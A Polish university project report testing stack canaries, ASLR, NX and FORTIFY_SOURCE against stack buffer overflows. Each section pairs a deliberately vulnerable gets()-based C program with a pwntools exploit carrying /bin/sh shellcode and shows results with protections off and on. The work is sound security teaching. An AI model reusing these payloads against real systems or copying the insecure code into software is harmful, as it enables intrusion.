- Wstęp
1.1. Przepełnienie bufora - Kanarki stosu
2.1. Zakres działania
2.2. Przykładowa aplikacja
2.3. Exploit
2.4. Porównanie metody dla kompilatorów gcc oraz clang
2.5. Użyteczność metody oraz wady jej stosowania - ASLR
3.1. Zakres działania
3.2. Przykładowa aplikacja
3.3. Exploit
3.4. Porównanie działania dla systemów z rodziny Windows oraz Linux
3.5. Użyteczność metody oraz wady jej stosowania - Execution Disable / NX / W + X
4.1. Zakres działania
4.2. Przykładowa aplikacja
4.3. Exploit
4.4. Użyteczność metody oraz wady jej stosowania - Fortify
5.1. Zakres działania
5.2. Przykładowa aplikacja
5.3. Exploit
5.4. Porównanie metody dla kompilatorów gcc oraz clang
5.5. Użyteczność metody oraz wady jej stosowania - Wnioski
Poniższa praca stanowi projekt z przedmiotu Bezpieczeństwo systemów i oprogramowania (BSO) na Wydziale Elektroniki i Technik Informacyjnych Politechniki Warszawskiej.
Celem pracy jest zbadanie wybranych rozwiązań chroniących natywne aplikacje działające w trybie użytkownika. W celu przeprowadzenia wszelkich praktycznych części każdego z zagadnień używany był przeze mnie system Ubuntu 20.04.2.0 w wersji 64-bitowej. Innymi użytymi narzędziami był Python 3.8.5, kompilator gcc w wersji 9.3.0, oraz debugger GNU gdb w wersji 9.2.
Wszystkie rozwiązania badane przeze mnie w poniższej pracy mają na celu ochronę użytkownika przed atakami typu buffer overflow. Z tego też względu na początku postanowiłem lepiej przybliżyć koncepcje tego typu ataków.
W tej pracy skupiam się na przepełnieniu bufora na stosie. Jest ono możliwe, ze względu na zastosowanie niebezpiecznych funkcji w różnych językach programowania. Tymi językami są najczęściej C/C++, ponieważ nie posiadają one wbudowanych zabezpieczeń przed nadpisaniem, bądź dostępem do danych w pamięci. Rozważania prowadzone dalej prowadzone są dla użycia języka C. Wyzej wspomniane funkcje pozwalają użytkownikowi na wpisanie danych do pamięci, poza wyznaczony obszar. Jest to możliwe ponieważ nie dokonują one poprawnej weryfikacji wprowadzonych danych. W takiej sytuacji użytkownik może wprowadzić dane o większej długości, niż przeznaczony na to bufor. Nadmiarowa długość wejścia nadpisze pamięć poza buforem.
Niebezpieczeństwo opisanej powyżej sytuacji wynika z tego, że bufor w pamięci znajduje się na stosie wywołania danej fukncji (rozpatruję przypadek bufora na stosie). Stos jest strukturą przechowującą nie tylko bufor, ale i inne dane związane z wywołaniem funkcji. To takich danych należą m.in. zmienne lokalne, oraz wskaźniki. Kluczowym w prowadzonych rozważaniach wskaźnikiem będzie return pointer (wskaźnik na adres powrotu). Nadpisanie zawartości pamięci pod adresem takiego wskaźnika (który znajduje się pod buforem), w teorii może pozwolić atakującemu na wskazanie procesorowi dowolnego miejsca w pamięci, jako dalszej części programu i zmusić go do wykonania znajdujących się w tym obszarze instrukcji. Jednym ze sposobów na to, aby napastnik mógł wykonać napisane przez siebie samego instrukcje, jest np. umieszczenie ich w przepełnianym buforze i wskazanie ich lokalizacji jako adres powrotu funkcji. Celem atakującego może być również przykładowo nadpisanie zmiennych lokalnych funkcji na stosie (np. aby zaburzyć integralność danych dla danego wykonania programu).
W praktyce, w nowoczesnych systemach komputerowych, nie jest to takie trywialne. Dzisiejsze kompilatory czy same systemy operacyjne dostarczają często wiele warstw rozwiązań, mających na celu zabezpieczyć aplikacje przed możliwością wykonania takiego ataku. W poniższej pracy omówię trzy, często stosowane, przykłady takich rozwiązań.
Dla omówienia poszczególnych rozwiązań skupię się na ataku przez nadpisanie adresu powrotu ramki stosu.
Kanarek stosu jest specjalną wartością umieszczoną na stosie w odpowiednim miejscu, w taki sposób aby chronić dane stosu przed nadpisaniem od strony bufora. Można go skategoryzować jako zabezpieczenie służące do wykrycia próby przepełnienia buforu na stosie. Jest on dodawany automatycznie przez nowoczesne kompilatory, podczas procesu kompilacji kodu programu (pod warunkiem że taka opcja nie zostanie wyłączona). Dąży się do tego, aby miał on unikalną wartość, która będzie sprawdzana, gdy program powraca do funkcji wywołującej. W przypadku kiedy dojdzie do przepełnienia bufra na stosie i nadpisania kluczowych dla atakującego danych na stosie (np. wspomniany wcześniej adres powrotu), wtedy nieuniknionym powinno być nadpisanie przez atakującego wartości kanarka. Będzie to skutkowało blędną weryfikacją przed samym powrotem funkcji, co spowoduje przerwanie działania programu. Zapobiegnie to przejściu procesora do wykonywania instrukcji wskazanych przez atakującego.
Rys. 1 - Schematyczne przedstawienie możliwej struktury ramki stosu z uwzględnieniem kanarka stosu.
Rys. 2 - Część wygenerowanego przez kompilator gcc kodu Assemblera dla włączonych, i dla wyłączonych kanarków stosu.
Można wyróżnić różne typy kanarków. Są nimi między innymi:
- Null canary - Najprostszy typ kanarka. Dla systemu 32-bitowego składa się z czterech bajtów NULL pod rząd. Jego wartość jest przewidywalna dla atakującego, więc tego typu kanarek ma na celu ochronę przed przepełnieniami bufora za pomocą funkcji operujących na stringach.
- Terminator canary - Zbliżony w koncepcji działania do Null canary. Zawiera on bajty: 0x00, 0x0d, 0x0a, 0xff. Powinny one przerwać ciąg znaków dla większości operacji operujących na stringach.
- Random canary - Losowy kanarek stosu. Jego trzy pseudolosowe bajty mogą być poprzedzone NULL-bajtem (0x00).
- Random XOR canary - Random canary, którego wartość może być dodatkowo XOR-owana np. z wartościami wskaźników. Dodaje to dodatkową warstwę bezpieczeństwa przy próbie podmienienia wartości kanarka i nadpisania jakiegoś wskaźnika przez napastnika.
Poniższa aplikacja została napisana w języku C. Jest to prosta aplikacja pobierająca dane tekstowe od użytkownika (jego imię). Ze względu na to, że przedmiotem badań tego punktu są kanarki stosu - postanowiłem w celach demonstracyjnych umieścić w aplikacji kawałek kodu, który wprost podaje użytkownikowi adres stosu funkcji main.
#include <stdio.h>
#include <stdlib.h>
void get_users_name()
{
char name[64] = {0};
puts("Podaj imie:");
gets(name);
printf("Czesc %s!\n", name);
}
int main()
{
int x;
printf("Adres na stosie main: %p\n", &x);
get_users_name();
return 0;
}
Aplikacja ta, w celu przyjęcia danych od użytkownika używa niebezpiecznej funkcji gets(), która została już usunięta ze standardu języka C. Plik main.c zawierający powyższy kod został dołączony do repozytorium i znajduje się w katalogu Kanarki.
Poniższy exploit pobiera od aplikacji adres z ramki stosu main, następnie na podstawie pobranego adresu, oraz shellcode'u tworzy ładunek. Ładunek został skonstruowany w taki sposób, aby wykonywalny shellcode umieścić w ramce stosu main, tak aby wskazany adres powrotu doprowadził do wykonania shellcode'u (dzięki wykorzystaniu NOP Slide).
from pwn import *
#uruchamia proces main i zczytuje adres stosu:
p = process("./main")
p.readuntil("Adres na stosie main: ")
stack_ptr = int(p.readuntil("\n").strip(), 16)
p.readuntil("Podaj imie:\n")
#przygotowanie ciagu bajtow do przepelnienia bufora
padding = b'\x90'*72
RIP = p64(stack_ptr)
NOP = b'\x90'*128
shellcode =b'\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x70\xd8\xff\xff\xff\x7f'
payload = padding + RIP + NOP + shellcode
#debugger
gdb.attach(p)
#wyslanie ladunku
p.sendline(payload)
print(p.readall())
Plik exploit.py zawierający powyższy kod został dołączony do repozytorium i znajduje się w katalogu Kanarki.
Działanie exploit'a dla wersji programu bez włączonego zabezpieczenia, oraz z włączonym zabezpieczeniem
Poniżej okno debuggera dla uruchomienia exploit'a komendą python3 exploit.py
z wyłączonymi kanarkami stosu (komenda użyta do kompilacji pliku main.c: gcc main.c -std=c99 -fno-stack-protector -z execstack -no-pie -w -o main -Wl,-z,norelro
):
Rys. 3 - Jak widać wykonanie shellcode'u powiodło się.
Okno debuggera dla uruchomienia exploit'a komendą python3 exploit.py
z włączonymi kanarkami stosu (komenda użyta do kompilacji pliku main.c: gcc main.c -std=c99 -z execstack -no-pie -w -o main -Wl,-z,norelro
):
Rys. 4 - W tej sytuacji wykonanie programu zostało zatrzymane zgodnie z oczekiwaniami.
Przedstawiana w tym punkcie metoda działa w podobny sposób w przypadku najnowszych wersji obu tych kompilatorów.
Kanarki stosu są jedną z podstawowych metod zabezpieczenia przed atakami typu buffer overflow. Mimo wprowadzanych ulepszeń jak np. w kwestii randomizacji wartości kanarka, mogą się one okazać możliwe do przewidzenia, więc nigdy nie stanowią pełnego zabezpieczenia. Wymuszają one dla procesora dodatkowe instrukcje, wydłużając czas wykonania programu.
ASLR czyli Address Space Layout Randomization jest techniką zapobiegającą możliwej eksploitacji programu poprzez naruszenia jego pamięci. Mechanim taki, w przeciwieństwie do wcześniej omaiwanych kanarków stosu, nie jest dodawany w jakiś sposób przez kompilator, a za jego działanie odpowiada sam system operacyjny. Jego działanie opiera się na losowaniu zestawu kluczowych adresów (takich jak miejsca stosu, sterty, czy bilbliotek). To w jaki dokładnie sposób się to odbywa, zależy od implementacji mechanizmu w danym systemie operacyjnym. W najlepszym przypadku istotne adresy powinny być losowe przy każdym wywołaniu ramki stosu. Powinno się także zadbać o zmianę przesunięcia kluczowych dla wykonania programu struktur o inną, losową wartość, przy każdym uruchomieniu programu.
Poniższa aplikacja, napisana w języku C, została zbudowana na bazie aplikacji z porzedniego punktu. W poprzednim punkcie udało się wywołać instrukcje shellcode’u mino włączonego ASLR, ponieważ program podawał za każdym razem nowy, wylosowany adres stosu main. W tym punkcie aplikacja nie podaje takiego adresu. Zakładam, że atakujący zdobył ten adres w inny sposób, a przez brak włączonego ASLR adres taki może zostać umieszczony na stałe w exploicie (który jest pokazany w kolejnym punkcie).
#include <stdio.h>
#include <stdlib.h>
void get_users_name()
{
char name[64] = {0};
puts("Podaj imie:");
gets(name);
printf("Czesc %s!\n", name);
}
int main()
{
get_users_name();
return 0;
}
Plik main.c zawierający powyższy kod został dołączony do repozytorium i znajduje się w katalogu ASLR.
Poniższy exploit działa na zasadzie podobnej do poprzedniego, jednak tym razem nie zczytuje od adresu ramki stosu main od programu przy każdym wykonaniu, tylko ma na stałe ustalony adres tej ramki.
from pwn import *
p = process("./main")
p.readuntil("Podaj imie:\n")
padding = b'\x90'*72
RIP = p64(0x7fffffffdefc) #ustalony na stale adres stosu main
NOP = b'\x90'*128
shellcode =b'\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x70\xd8\xff\xff\xff\x7f'
payload = padding + RIP + NOP + shellcode
gdb.attach(p)
p.sendline(payload)
print(p.readall())
Plik exploit.py zawierający powyższy kod został dołączony do repozytorium i znajduje się w katalogu ASLR.
Działanie exploit'a dla wersji programu bez włączonego zabezpieczenia oraz z włączonym zabezpieczeniem
Najpierw działanie exploit'a dla systemu Linux, po wykonaniu w terminalu polecenia dezaktywującego mechanizm ASLR. Kompilacja samego programu odbyła się przy użyciu komendy: gcc main.c -std=c99 -fno-stack-protector -z execstack -no-pie -w -o main -Wl,-z,norelro
:
Rys. 5 - Działanie exploit'a z wyłączonym ASLR - wykonanie shellcode’u powiodło się.
Następnie sprawdziłem czy exploit zadziała dla programu skompilowanego w porzedniej sytuacji, jednak z włączonym ASLR.
Rys. 6 - Działanie exploit'a z włączonym ASLR - wykonanie shellcode’u nie powiodło się.
Platformy Windows, oraz Linux zapewniają ASLR w odmienny sposób. Główna róznica jest taka, że ASLR dla systemu Windows 10 jest dokonywany podczas ładowania programu i nie wpływa to na wydajność programu podczas jego działania. W systemach z rodziny Linux operacje związane z ASLR są dokonywane w trakcie działania programu, co ma wpływ na wydajność programu. W zamian za to w systemie Linux wykorzystanie pamięci przez program może być lepiej zorganizowane.
Opisana powyżej metoda może znacznie utrudnić atakującemu ataki typu ROP (return-oriented programming). Mimo tego że technika jest często możliwa do obejścia, to warto ją strosować, w szczególności w połączeniu z innymi technikami (jak np. opisany w kolejnym punkcie niewykonywalny stos). Niestety, w zależności od implementacji, ma ona wpływ na wydajność, bądź wykorzystanie pamięci programu.
Omawiana w tym punkcie metoda ma na celu spowodowanie, aby wskazane segmenty pamięci nie mogły być zapisywane i wykonywane w tym samym momencie. Jest wspierana przez większość współczesnych procesorów. System może oznaczyć pewne obszary pamięci jako wykonywalne, lub niewykonywalne. Dokładny sposób działania może się różnić, w zależności od wykorzystywanego systemu czy sprzętu, jednak koncepcyjnie wszystkie rozwiązania dążą do tego samego - wspomnianego wyżej zablokowania możliwości pisania, oraz wykonywania zawartości określonych obszarów pamięci jednocześnie. Dla rozpa- trywanego w tej pracy buffer overflow - metoda ta nie blokuje przepełnienia bufora, jednak zapobiega wykonaniu wrzuconego na stos kodu shellcode.
Na poziome aplikacji nie ma różnicy w kodzie aplikacji pomiędzy tym punktem a poprzednim. Dla przypomnienia kod programu wygląda następująco:
#include <stdio.h>
#include <stdlib.h>
void get_users_name()
{
char name[64] = {0};
puts("Podaj imie:");
gets(name);
printf("Czesc %s!\n", name);
}
int main()
{
get_users_name();
return 0;
}
Plik main.c zawierający powyższy kod został dołączony do repozytorium i znajduje się w katalogu Execution Disable.
Ogólna zasada działania exploit'a w tej wersji nie zmieniła się szczególnie, jednak tym razem zmienia się konstrukcja ładunku. Zamiast całego shellcode’u, umieszczona jest instrukcja 0xCC, która ma za zadanie zatrzymanie debuggera.
from pwn import *
p = process("./main")
p.readuntil("Podaj imie:\n")
padding = b'\x90'*72
RIP = p64(0x7fffffffdefc)
NOP = b'\x90'*128
trap = b'\xCC'
payload = padding + RIP + NOP + trap
gdb.attach(p)
p.sendline(payload)
print(p.readall())
Plik exploit.py zawierający powyższy kod został dołączony do repozytorium i znajduje się w katalogu Execution Disable.
Działanie exploit'a dla wersji programu bez włączonego zabezpieczenia oraz z włączonym zabezpieczeniem
W celu pokazania działania zabezpieczenia, chce zobrazować sytuację w której stos zostaje przepełniony, jednak umieszczone na stosie instrukcje nie wykonują się, a działanie programu zostaje przerwane.
Najpierw w wersji dla wyłączonego zabezpieczenia. Kompilacja kodu programu komendą: gcc main.c -std=c99 -fno-stack-protector -z execstack -no-pie -w -o main -Wl,-z,norelro
.
Rys. 7 - SIGTRAP - ustawiona na stosie instrukcja została wykonana.
Teraz dla włączonego zabezpieczenia. Kompilacja kodu programu komendą: gcc main.c -std=c99 -fno-stack-protector -no-pie -w -o main -Wl,-z,norelro
.
Rys. 8 - SIGSEGV - ustawiona na stosie instrukcja nie została wykonana.
Jak widać pamięć stosu main w obu przypadkach wygląda tak samo (więc w obu przypadkach doszło do przepełnienia bufora). Jednak tylko w przypadku bez zabezpieczenia, instrukcja umieszczona na stosie została wykonana i kompilator otrzymał SIGTRAP.
Powyższa metoda jest skuteczna jeśli chodzi o zapobieganie wykonywania instrukcji na stosie funkcji. Możliwym dla atakującego obejściem jest np. zastosowanie ataku typu return-to-libc. Z tego właśnie względu metoda ta szczególnie dobrze sprawdzi się z jednoczesnym użyciem innych metod np. ASLR.
Omawiane w tym punkcie zabezpieczenie może stanowić kolejną warstwę ochrony przed atakami typu buffer overflow. Może wykryć atak tego typu zarówno podczas kompilacji, jak i w trakcie wykonywania programu (w zależności od typu podatności). Działa na zasadzie sprawdzania, czy nie następuje próba podania do bufora ilości bitów, która spowoduje jego przepełnienie. Sprawdzeń dokonuję w miejscach potencjalnie niebezpiecznych (więc w miejscach użycia niebezpiecznych funkcji, m.in. memcpy, mempcpy, memmove, memset, strcpy, stpcpy, strncpy, strcat, strncat, sprintf, vsprintf, snprintf, vsnprintf, gets).
W ogólności miejsce mogą mieć następujące przypadki:
- Następuje sprawdzenie niebezpiecznej funkcji i stwierdzenie (bazując na zaimplementowanych mechanizmach), że nie ma możliwości przepełnienia bufora w danym miejscu - program wykonuje się normalnie, nie dochodzi do dodatkowego sprawdzania podczas wykonania.
- Następuje sprawdzenie niebezpiecznej funkcji, ale zabezpieczenie nie jest w stanie stwierdzić w trakcie kompilacji, czy będzie mogło w tym miejscu dojść do przepełnienia bufora - funkcje sprawdzające zostają dodane do programu.
- Następuje sprawdzenie niebezpiecznej funkcji, oraz stwierdzenie przepełnienia bufora - skutkuje to ostrzeżeniem użytkow- nika przy kompilacji, oraz użyciem funkcji sprawdzających przy wykonaniu programu.
- Następuje sprawdzenie niebezpiecznych funkcji, i okazuje się że program nie jest w stanie stwierdzić możliwego przepeł- nienia, oraz brakuje danych dla użycia funkcji sprawdzających - w tym wypadku potencjalne przepełnienie nie zostanie zatrzymane przez omawiane zabezpieczenie.
Poniżej porównanie kodu Assemblera (dla kompilatora gcc) przy użyciu zabezpieczenia Fortify, oraz przy jego wyłączeniu. W tym przypadku została zastosowana niebezpieczna funkcja gets.
Rys. 9 - Po lewej użyta flaga: -D FORTIFY SOURCE=2, a po prawej: -D FORTIFY SOURCE=0.
Dla omawianej implementacji, istnieją dwa poziomy zabezpieczenia: -D FORTIFY SOURCE=1
, oraz
-D FORTIFY SOURCE=2
. Dla -D FORTIFY SOURCE=2
do sprawdzenia dodanych jest więcej rzeczy. Jedną z różnic jest dodatkowe sprawdzenie funkcji takich jak printf, co może zapobiec eksploitacji podatności bazujących na format string.
Rys. 10 - Po lewej użyta flaga: -D FORTIFY SOURCE=2, a po prawej: -D FORTIFY SOURCE=1.
W celu zaprezentowania zabezpieczenia, użyje kodu aplikacji pokazanej przy omawianiu kanarków stosu. Dla przypomnie- nia aplikacja używa niebezpiecznej funkcji gets. Poniżej kod programu:
#include <stdio.h>
#include <stdlib.h>
void get_users_name()
{
char name[64] = {0};
puts("Podaj imie:");
gets(name);
printf("Czesc %s!\n", name);
}
int main()
{
int x;
printf("Adres na stosie main: %p\n", &x);
get_users_name();
return 0;
}
Plik main.c zawierający powyższy kod został dołączony do repozytorium i znajduje się w katalogu Fortify.
Poniższy exploit działa na tej samej zasadzie co exploit w sekcji Kanarki stosu.
from pwn import *
p = process("./main")
p.readuntil("Adres na stosie main: ")
stack_ptr = int(p.readuntil("\n").strip(), 16)
p.readuntil("Podaj imie:\n")
padding = b'\x90'*72
RIP = p64(stack_ptr)
NOP = b'\x90'*128
shellcode =b'\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x70\xd8\xff\xff\xff\x7f'
payload = padding + RIP + NOP + shellcode
gdb.attach(p)
p.sendline(payload)
print(p.readall())
Plik exploit.py zawierający powyższy kod został dołączony do repozytorium i znajduje się w katalogu Fortify.
Poniżej wynik wykonania exploit’a komendą python3 exploit.py
z wyłączonym fortify (komenda użyta do kompilacji pliku main.c: gcc -O2 main.c -fno-stack-protector -std=c99 -z execstack -D FORTIFY SOURCE=0 -W -o main -Wl,-z,norelro
):
Rys. 11 - Udany atak przy wyłączonym fortify.
Tym razem program skompilowany poleceniem: gcc -O2 main.c -fno-stack-protector -std=c99 -z execstack -D FORTIFY SOURCE=2 -W -o main -Wl,-z,norelro
:
Rys. 12 - Atak wykryty dzięki fortify.
Zgodnie ze wcześniejszym opisem, w przypadku tego ataku, równie dobrze powinno poradzić sobie zabezpieczenie usta- wione na niższy poziom. Polecenie użyte do kompilacji: gcc -O2 main.c -fno-stack-protector -std=c99 -z execstack -D FORTIFY SOURCE=1 -W -o main -Wl,-z,norelro
Rys. 13 - Atak wykryty dzięki fortify (ustawionym na poziom 1).
Podczas gdy gcc w pełni wspiera omawiane zabezpieczenie, clang nie jest kompatibilny z jego implementacją.
Metoda ta nie wpływa w znaczącym stopniu, ani na wydajność programu, ani na jego rozmiar. Warto ją używać jako jedno z zabezpieczeń. Niestety, zabezpiecza jedynie przed niektórymi atakami opierającymi się na buffer overflow. Samodzielnie nie stanowi solidnego zabezpieczenia.
W powyższej pracy zostały omówione niektóre z najczęściej stosowanych zabezpieczeń. W rzeczywistości jest ich bardzo wiele i dopiero połączenie wielu metod na raz zapewnia bardzo wysoką ochronę. Wybranie metod powinno być odpowiednio zoptymalizowane, a projektant oprogramowania powinien wziąć pod uwagę poziom uzyskiwanej ochrony, względem pogor- szenia wydajności, czy zwiększenia ilości wymaganej pamięci.